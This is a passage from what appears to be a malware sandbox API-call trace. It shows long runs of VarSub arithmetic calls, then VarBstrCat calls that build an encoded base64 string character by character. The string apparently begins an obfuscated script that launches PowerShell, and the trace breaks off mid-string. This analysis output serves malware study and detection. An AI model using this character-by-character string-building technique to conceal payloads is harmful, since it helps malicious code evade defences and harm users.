pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.752] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.752] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.752] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.752] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.752] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.752] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.752] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.752] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.752] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.752] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.753] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.753] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.753] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.753] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.753] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.753] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.753] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.753] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.753] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.753] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.753] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.753] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.753] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.753] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.753] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.753] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.753] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.753] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.753] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.753] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.753] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.754] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.754] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.754] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.754] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.754] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.754] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.754] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.754] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.754] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.754] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.754] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.754] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.754] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.754] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.754] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.754] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.754] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.754] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.754] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.754] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.754] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.754] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.754] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.754] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.754] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.755] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.755] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.755] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.755] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.755] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.755] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.755] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.755] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.755] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.755] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.755] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.755] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.755] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.755] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.755] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.755] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.755] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.755] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.755] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.755] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.755] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.755] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.755] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.755] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.755] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.756] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.756] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.756] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.756] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.756] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.756] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.756] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.756] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.756] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.756] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.756] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.756] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.756] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.756] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.756] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.756] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.756] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.756] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.756] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.756] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.756] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.756] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.756] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.756] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.757] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.757] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.757] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.757] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.757] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.757] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.757] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.757] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.757] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.757] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.757] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.757] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.757] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.757] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.757] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.757] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.757] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.757] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.757] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.757] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.757] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.757] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.757] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.757] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.757] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.758] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.758] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.758] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.758] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.758] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.758] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.758] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.758] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.758] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.758] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.758] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.758] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.758] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.758] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.758] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.758] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.758] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.758] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.758] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.758] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.758] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.758] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.758] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.758] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.758] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.759] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.759] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.759] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.759] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.759] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.759] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.759] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.759] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.759] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.759] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.759] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.759] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.759] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.759] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.759] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.759] VarSub (in: pvarLeft=0x697b130, pvarRight=0x697b1f0, pvarResult=0x697b118 | out: pvarResult=0x697b118) returned 0x0 [0053.760] VarAnd (in: pvarLeft=0x697b070, pvarRight=0x697b058, pvarResult=0x697b040 | out: pvarResult=0x697b040) returned 0x0 [0053.760] VarDiv (in: pvarLeft=0x697b040, pvarRight=0x697b028, pvarResult=0x697b010 | out: pvarResult=0x697b010) returned 0x0 [0053.760] VarAdd (in: pvarLeft=0x697b100, pvarRight=0x697b010, pvarResult=0x697aff8 | out: pvarResult=0x697aff8) returned 0x0 [0053.760] VarAnd (in: pvarLeft=0x697b118, pvarRight=0x697b1d8, pvarResult=0x697b100 | out: pvarResult=0x697b100) returned 0x0 [0053.760] VarMul (in: pvarLeft=0x697b100, pvarRight=0x697b1c0, pvarResult=0x697b0e8 | out: pvarResult=0x697b0e8) returned 0x0 [0053.760] VarAnd (in: pvarLeft=0x697b040, pvarRight=0x697b028, pvarResult=0x697b010 | out: pvarResult=0x697b010) returned 0x0 [0053.760] VarDiv (in: pvarLeft=0x697b010, pvarRight=0x697afe0, pvarResult=0x697aff8 | out: pvarResult=0x697aff8) returned 0x0 [0053.760] VarAdd (in: pvarLeft=0x697b0e8, pvarRight=0x697aff8, pvarResult=0x697afc8 | out: pvarResult=0x697afc8) returned 0x0 [0053.760] VarBstrCat (in: bstrLeft=0x0, bstrRight="d", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.760] VarBstrCat (in: bstrLeft="d", bstrRight="m", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.760] VarBstrCat (in: bstrLeft="dm", bstrRight="F", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.760] VarBstrCat (in: bstrLeft="dmF", bstrRight="y", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.760] VarBstrCat (in: bstrLeft="dmFy", bstrRight="I", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.760] VarBstrCat (in: bstrLeft="dmFyI", bstrRight="G", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.760] VarBstrCat (in: bstrLeft="dmFyIG", bstrRight="M", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.760] VarBstrCat (in: bstrLeft="dmFyIGM", bstrRight="9", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.760] VarBstrCat (in: bstrLeft="dmFyIGM9", bstrRight="J", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.760] VarBstrCat (in: bstrLeft="dmFyIGM9J", bstrRight="2", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.760] VarBstrCat (in: bstrLeft="dmFyIGM9J2", bstrRight="N", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.760] VarBstrCat (in: bstrLeft="dmFyIGM9J2N", bstrRight="H", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.760] VarBstrCat (in: bstrLeft="dmFyIGM9J2NH", bstrRight="O", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.761] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHO", bstrRight="T", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.761] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOT", bstrRight="N", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.761] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTN", bstrRight="a", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.761] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNa", bstrRight="W", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.761] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaW", bstrRight="E", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.761] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWE", bstrRight="p", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.761] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp", bstrRight="6", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.761] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6", bstrRight="Y", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.761] VarBstrCat (in: bstrLeft="dmFyIGM9J2NHOTNaWEp6Y", bstrRight="U", pbstrResult=0x126760 | out: pbstrResult=0x126760) returned 0x0 [0053.761] 